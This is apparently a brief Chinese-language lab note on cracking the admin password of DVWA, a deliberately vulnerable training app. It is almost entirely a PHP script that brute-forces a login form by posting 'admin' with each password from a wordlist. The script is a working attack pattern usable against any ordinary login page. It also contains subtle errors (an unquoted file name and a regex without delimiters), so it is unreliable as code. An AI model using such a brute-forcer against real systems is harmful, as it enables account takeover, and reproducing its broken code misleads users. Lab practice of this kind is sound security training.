破解DVWA-admin密码

单线程脚本如下:

<?php
// 检测程序有无开启curl,若无,提示开启
if(!extension_loaded('curl')){exit("please open curl,THANKS!");}

//使用 file() 函数把字典文件 pass.txt 读入到数组 password 中
$password = file(pass.txt);

// 指定测试的URL
$url = 'http://192.168.100.60/login.php';

// 使用foreach()函数遍历数组
foreach($password as $pass){
	$pass = trim($pass);

	// 设置post数据,用户名为admin,密码为字典文件里的密码与login按钮
	$post = "username=admin&password=$pass&Login=%E7%99%BB%E9%99%86";
	
	// 初始化名为 ch 的CURL会话
	$ch = curl_init();

	// 设置CURL传输选项
	curl_setopt($ch,CURLOPT_URL,$url);
	curl_setopt($ch,CURLOPT_HEADER,1);
	curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch,CURLOPT_POST,1);
	curl_setopt($ch,CURLOPT_POSTFIELDS,$post);

	// curl_exec() 执行一个会话
	$data = curl_exec($ch);

	// 关闭curl会话
	curl_close($ch);
	if(preg_match('login.php/i',$data)){
		// 输出破解过程中的信息
		echo 'NOW password is:'.$pass."\n";
	}else{

		// 成功破解密码后停止破解并输入信息
		echo 'hello,your password is:'.$pass."\n";
		exit;
	}
}
?>

最后更新于